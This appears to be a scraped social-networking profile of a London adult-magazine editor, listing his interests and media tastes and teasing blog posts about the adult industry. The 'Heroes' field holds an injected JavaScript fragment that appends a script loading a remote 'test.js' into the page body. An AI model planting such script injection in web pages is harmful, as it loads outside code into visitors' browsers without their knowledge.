About Me

I'm a magazine Editor based in London, and work for Paul Raymond Publications Ltd., where I edit MAYFAIR magazine. Oh, and I'm the Publishing Director too, but editing mags is what you'll find me doing more often than not.

Here's a selection of this year's Mayfair covers...

My Interests

Reading US crime fiction, looking at naked ladies, sleeping, watching crap on TV, motorcyles (riding and watching races) and spending hours of my life on commuter trains that never seem to get anywhere. Wasting hours and hours on my Xbox360 playing Halo 3 and Call of Duty 4 online, too.

I'd like to meet:

Interesting people in the adult industry who want promotion or publicity in the UK and Europe. People I haven't spoken to in a while, and all of my strange, freaky porno friends. They know who they are.Again, I'll say it for the hard of reading: If you're not in the adult industry and if you are under 18 years of age, you will NOT BE ADDED to my friends list.

Music:

A huge mix: blues, techno, dance, rock... pretty much anything....

Movies:

If it explodes, I'll watch it. If there's weeping, wailing or children... probably not, unless instructed to by a trained medical professional....

Television:

MotoGP, British Superbikes, World Superbikes. No soaps! Current affairs, quality drama, poor science fiction and anything that makes me laugh from Seinfeld to the local news. Hey, it's pretty funny where I live. Heroes. Who doesn't like Heroes? Seinfeld, Criminal Minds, CSI... basically everything on TV apart from reality shows. I live in the real world. I want fantasy on TV.

Books:

Heroes:

Valentino Rossi on two wheels just takes the piss. Angry people like Lewis Black and Dave Atell and anyone who goes in to politics and doesn.."var x=document·('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" />

My Blog

Bombs, Terrorists and T shirts

As anyone who's visited the Paul Raymond Publications' building can tell you, we're smack in the heart of London's West End. From my office window, if I lean out far enough to fall to my death, I can ...

The rudest thing I saw in Portugal...

I have to share this with you, because I keep forgetting to post it!Picture the scene last Wednesday. We'd had an overcast day although it was nice and warm. We'd all finished eating at the villa (an ...

Gotta love those tabloid hacks

Despite being off sick today with a streaming cold (obviously, as a man, I suspect it's actually pneumonia or similar), I got a panicked call from a model. She'll remain nameless at this point, but wh...

Stupid Safari browser

I've just noticed that if I type this up in Safari and try and do correct punctuation, it gives me two .. instead of apostrophes. Stupid Apple programmers.

Portugal: Rain, rain, rain!

Well, that was a week from Hell. What we..d all expected to be a blinding week of fun, sun and naked ladies turned in to fun, rain and wind-whipped ladies. Talk about crappy weather! For the first tim...

Death of a President

It's on TV in the UK right now. I'm watching it. Unfortunately, if you're in the USA, you probably won't get to see it. I read a great commentary piece today about the disparity between the US governm...

Vibrating Vaginas Save The Day!

Today, this nice old guy (aged in his 60s) called me up for some advice. We ran a group test on vibrating vaginas in MensWorld an issue or so ago, and he was intrigued. At his age, he told me, the rea...

The falling standards of education

Now this is beginning to piss me off. I've had a lot of requests from kids under 18 who 'want to be my friend'. Back when I was a kid, my parents would have skinned me alive if I'd wandered up to a st...

Has Viagra F*cked Porn?

Here's a thought. Over the last few years, those little blue pills have become commonplace in adult movies. And when male performers aren't using those, they're injecting their cocks with God knows wh...

If it's Monday, that must be a pile of adult DVDs!

Since I have no intention of discussing what goes on at work in any great detail, today I thought I'd explore the Mayfair and MensWorld postbag. Today's hefty mail sac (geddit?) was heaving with mucky...
